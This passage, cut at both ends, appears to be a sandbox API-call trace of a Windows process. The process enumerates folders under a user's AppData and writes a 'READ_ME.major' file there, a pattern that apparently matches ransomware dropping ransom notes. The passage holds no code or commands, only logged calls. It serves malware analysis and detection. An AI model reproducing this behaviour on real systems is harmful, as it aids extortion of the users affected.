Flags=0x0, Size=0x120) returned 0x60e1d8 [0224.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.359] GetLastError () returned 0x0 [0224.359] SetLastError (dwErrCode=0x0) [0224.359] GetLastError () returned 0x0 [0224.359] SetLastError (dwErrCode=0x0) [0224.359] GetLastError () returned 0x0 [0224.359] SetLastError (dwErrCode=0x0) [0224.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660438 [0224.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0224.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660330 [0224.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0224.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0224.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0224.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0224.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0224.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0224.359] GetLastError () returned 0x0 [0224.359] SetLastError (dwErrCode=0x0) [0224.359] GetLastError () returned 0x0 [0224.359] SetLastError (dwErrCode=0x0) [0224.359] GetLastError () returned 0x0 [0224.360] SetLastError (dwErrCode=0x0) [0224.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0224.360] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\targetedcontentcache\\v3\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1850 [0224.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0224.361] WriteFile (in: hFile=0x1850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0224.362] CloseHandle (hObject=0x1850) returned 1 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660330 | out: hHeap=0x570000) returned 1 [0224.362] FindNextFileW (in: hFindFile=0x2f328e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9ff77ac, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa9ff77ac, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="v3", cAlternateFileName="")) returned 0 [0224.362] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662c40 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660120 | out: hHeap=0x570000) returned 1 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663468 | out: hHeap=0x570000) returned 1 [0224.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6550 | out: hHeap=0x570000) returned 1 [0224.362] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece52509, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xc76b785f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f329e0 [0224.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0224.365] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.366] GetLastError () returned 0x12 [0224.366] SetLastError (dwErrCode=0x12) [0224.366] GetLastError () returned 0x12 [0224.366] SetLastError (dwErrCode=0x12) [0224.366] GetLastError () returned 0x12 [0224.366] SetLastError (dwErrCode=0x12) [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f33020 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f33020 | out: hHeap=0x570000) returned 1 [0224.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0224.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0224.367] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece52509, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xc76b785f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.367] GetLastError () returned 0x12 [0224.367] SetLastError (dwErrCode=0x12) [0224.367] GetLastError () returned 0x12 [0224.367] SetLastError (dwErrCode=0x12) [0224.367] GetLastError () returned 0x12 [0224.367] SetLastError (dwErrCode=0x12) [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0224.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f33020 [0224.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f33020 | out: hHeap=0x570000) returned 1 [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0224.368] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa875be89, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xa875be89, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.368] GetLastError () returned 0x12 [0224.368] SetLastError (dwErrCode=0x12) [0224.368] GetLastError () returned 0x12 [0224.368] SetLastError (dwErrCode=0x12) [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0224.368] GetLastError () returned 0x12 [0224.368] SetLastError (dwErrCode=0x12) [0224.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7da0 [0224.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0224.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadde8 [0224.369] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88d9622, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xa88d9622, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1 [0224.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0224.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0224.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0224.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0224.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0224.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0224.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0224.369] GetLastError () returned 0x12 [0224.369] SetLastError (dwErrCode=0x12) [0224.369] GetLastError () returned 0x12 [0224.369] SetLastError (dwErrCode=0x12) [0224.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0224.370] GetLastError () returned 0x12 [0224.370] SetLastError (dwErrCode=0x12) [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae1c0 [0224.370] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc72d7f79, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc72d7f79, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0224.370] GetLastError () returned 0x12 [0224.370] SetLastError (dwErrCode=0x12) [0224.370] GetLastError () returned 0x12 [0224.370] SetLastError (dwErrCode=0x12) [0224.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0224.370] GetLastError () returned 0x12 [0224.370] SetLastError (dwErrCode=0x12) [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7cd0 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae450 [0224.371] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc73243e8, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc73243e8, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.371] GetLastError () returned 0x12 [0224.371] SetLastError (dwErrCode=0x12) [0224.371] GetLastError () returned 0x12 [0224.371] SetLastError (dwErrCode=0x12) [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0224.371] GetLastError () returned 0x12 [0224.371] SetLastError (dwErrCode=0x12) [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0224.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0224.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae308 [0224.371] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa894bd2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xa894bd2e, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.372] GetLastError () returned 0x12 [0224.372] SetLastError (dwErrCode=0x12) [0224.372] GetLastError () returned 0x12 [0224.372] SetLastError (dwErrCode=0x12) [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0224.372] GetLastError () returned 0x12 [0224.372] SetLastError (dwErrCode=0x12) [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7e08 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fada10 [0224.372] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bae2c7, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xa8bae2c7, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1 [0224.372] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0224.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0224.373] GetLastError () returned 0x12 [0224.373] SetLastError (dwErrCode=0x12) [0224.373] GetLastError () returned 0x12 [0224.373] SetLastError (dwErrCode=0x12) [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0224.373] GetLastError () returned 0x12 [0224.373] SetLastError (dwErrCode=0x12) [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae598 [0224.373] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc766b3fd, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc766b3fd, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0224.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.374] GetLastError () returned 0x12 [0224.374] SetLastError (dwErrCode=0x12) [0224.374] GetLastError () returned 0x12 [0224.374] SetLastError (dwErrCode=0x12) [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0224.374] GetLastError () returned 0x12 [0224.374] SetLastError (dwErrCode=0x12) [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7f40 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae078 [0224.374] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76b785f, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc76b785f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0224.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0224.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) 